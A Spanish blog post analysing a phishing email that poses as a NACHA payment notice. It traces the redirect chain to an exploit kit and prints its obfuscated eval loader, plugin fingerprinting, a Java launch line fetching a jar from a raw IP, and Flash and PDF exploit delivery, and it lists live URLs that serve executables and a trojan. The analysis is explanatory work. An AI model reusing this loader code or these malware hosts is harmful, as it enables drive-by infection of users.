Ayer, no sé por qué, al ver uno de tantos correos de SPAM pensé en cómo la gente hace caso a estos correos y lo que eso puede implicar. Aquí va lo que pasó al hacerlo.
Texto del email:
Payment Notification #04743410 The ACH transaction (ID:04743410 ), recently initiated from your checking account (by you or any other person), was canceled by the other financial institution. Rejected transaction Transaction ID: 04743410 Reason for rejection: See details http://nacha.org/report/04743410/detailis.php?n=8389 ________________________________________ 8307 Sunrise Valley Drive, Suite 100 Herndon, VA 20171 (703)561-1100 2011 NACHA - The Electronic Payment Association
Para empezar, al pinchar en el enlace que vemos no nos lleva a la dirección indicada, sino a http://madhusundergroup.com/06elcu/index.html, cuyo código HTML es el siguiente:
<html> <script language="JavaScript" type="text/JavaScript" src="http://www.xmjhx.com/czc/js.js"></script> <script language="JavaScript" type="text/JavaScript" src="http://www.laserdentmexico.com/images/js.js"></script> <script language="JavaScript" type="text/JavaScript" src="http://actionmovingjoplin.com/sound/js.js"></script> </html>
El primer fichero, js.js, nos redirige a un nuevo documento PHP:
document.location='http://losecraft.com/main.php?page=baa0dc5f2ec2ccc7';
Cuyo contenido es más o menos el siguiente (lo tenéis completo en el adjunto):
<html> <body> <applet height=1 code='json.Parser.class' width=1 archive='./content/field.jar'><param val=123 name=p value='e00oMDD=Rfhq%Qu0VqRmDBVoeoju8gi6h83'/></applet> <font style="display:none;">73^84^72^48^15............</font><script> function setCharAt(str,q,index) { i=index; c=String.fromCharCode(1*str[i] + 27); return c; } md="a"; v325v3=function(){ try{if(+new Object(123)===123)throw 1;}catch(q){ return document["getElementsByTagName"]("font")[0].innerHTML["split"]("^"); } } c=new String(); i=0; s=v325v3.call(); while(i!=s.length){ c+=setCharAt(s,123,i); i++; } try{document.tb5tb34t.t4bh34}catch(q){ eval(c); } </script></body></html>
Este documento trata de descargar un fichero Java (field.jar) y evaluando, con javascript, la cadena de números que hay dentro de las etiquetas <font style=»display:none;»> (ver negrita) construye un IFRAME donde se pone a trabajar (ver fichero ‘codigo_del_iframe.txt’ adjunto). No entiendo bien el proceso al completo pero creo que veo por donde va:
- comprueba qué versión tiene el cliente de Java, Adobe Acrobat y Flash (inicializa estas variables que luego llena):
var jver=[0,0,0,0],pdfver=[0,0,0,0],flashver=[0,0,0,0];
- comprueba qué navegador está usando el cliente:
initScript:function(){var c=this,a=navigator,e="/",i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||""; c.OS=100;if(b){var f,d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1, "Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100]
- averigua cómo lanzar su exploit (con la información anterior)
if(c.isIE){var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary", "wmplayer.ocx"];for(f=0;f<j.length;f++){if(c.getAXO(j[f])){c.ActiveXEnabled=true;break}} c.head=c.isDefined(document.getElementsByTagName)?document.getElementsByTagName("head")[0]:null} c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i); c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null; c.isSafari=(/Safari\s*\/\s*\d/i).test(i)&&(/Apple/i).test(g); c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null; c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i); c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
- Y decide como colar su regalito: usando Java, Flash o Adobe Acrobat
Si, tras evaluar el navegador del cliente y los plugins instalados, decide usar Java comprueba su versión y ruta:
try{pf='\\Program Files\\Java\\jre6\\lib\\ext'; pf2=pf.replace('es','es (x86)'); jtrnew('file:C:'+pf);jtrnew('file:C:'+pf2); jtrnew('file:D:'+pf);jtrnew('file:D:'+pf2); jtrnew('file:E:'+pf);jtrnew('file:E:'+pf2);}catch(e){}}spl2()}
e intenta lanzar su exploit (creo que intenta descargar lo mismo de dos direcciones alternativas, a día de hoy, sólo funciona la segunda)
try{var bs=document.createElement("OBJECT");bs.setAttribute("type",smbp);bs.setAttribute("width",0); bs.setAttribute("height",0);document.body.appendChild(bs); bs.launch("http: -J"+"-jar -J\\\\91.229.90.32\\pub\\new.avi http://losecraft.com/w.php?f=20&e=2 none")
Si, por el contrario, decide lanzar el exploit en formato PDF manda uno en función de qué versión se encuentre de Adobre Acrobat:
- Si versión < 9 => ejecuta http://losecraft.com/content/1ddfp.php?f=20 [ descarga el fichero ‘si_pdf_entre_0_y_8-0dfdd.pdf’]
- si versión = 9 => ejecuta http://losecraft.com/content/2ddfp.php?f=20 [ descarga el fichero ‘si_pdf_version_9-7c2a2.pdf’]
Estos documentos PDF contienen código javascript, que reconozco no he analizado pero que deben ser divertidos.
Si prefiere usar Flash, se descargará el fichero score.swf con el que, pasandole un exploit intentará, ganar una shell y descargar el fichero deseado: wpbt0.dll [1]
{var fname="content/field"; var Flash_obj="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>"; Flash_obj+="<param name='movie' value='"+fname+".swf' />";al="always"; Flash_obj+="<param name='allowScriptAccess' value='"+al+"' />";Flash_obj+="<param name='Play' value='0' />"; Flash_obj+="<embed src='"+fname+".swf' id='swf_id' name='swf_id'";Flash_obj+="allowScriptAccess='always'"; Flash_obj+="type='application/x-shockwave-flash'";Flash_obj+="width='10' height='10'>";Flash_obj+="</embed>"; Flash_obj+="</object>";var oSpan=document.createElement("span");document.body.appendChild(oSpan);oSpan.innerHTML=Flash_obj;}
Y de paso vuelve a iniciar el proceso con otra página.
{var name=navigator.plugins[i].name;if(name.indexOf('Media Player')!=-1) {m=document.createElement('IFRAME');m.setAttribute('src','./content/cph2.php?c=20'); m.setAttribute('width',0);m.setAttribute('height',0);document.body['appendChild'](m)}}} catch(e){} setTimeout(spl7,1000)}function getCN(){return 'content/score.swf'}
Todo este proceso, de lo más trabajado, es para descargar, en el ordenador del cliente, el troyano wpbt0.dll [1]
Os dejo una captura del Process Explorer examinando el fichero.
Comentario para los jugones: si váis cambiando el valor del parámetro ‘e’ en las peticiones a w.php os descarga distintos ejecutables (algunos con nombres bien conocidos cuyo destino desconozco pero qee, seguro, no nos va a gustar mucho).
- http://losecraft.com/w.php?f=20 descarga about.exe
- http://losecraft.com/w.php?f=20&e=1 -> contacts.exe
- http://losecraft.com/w.php?f=20&e=2 -> calc.exe
- http://losecraft.com/w.php?f=20&e=3 -> readme.exe
Así que cuidado con qué páginas visitáis 😉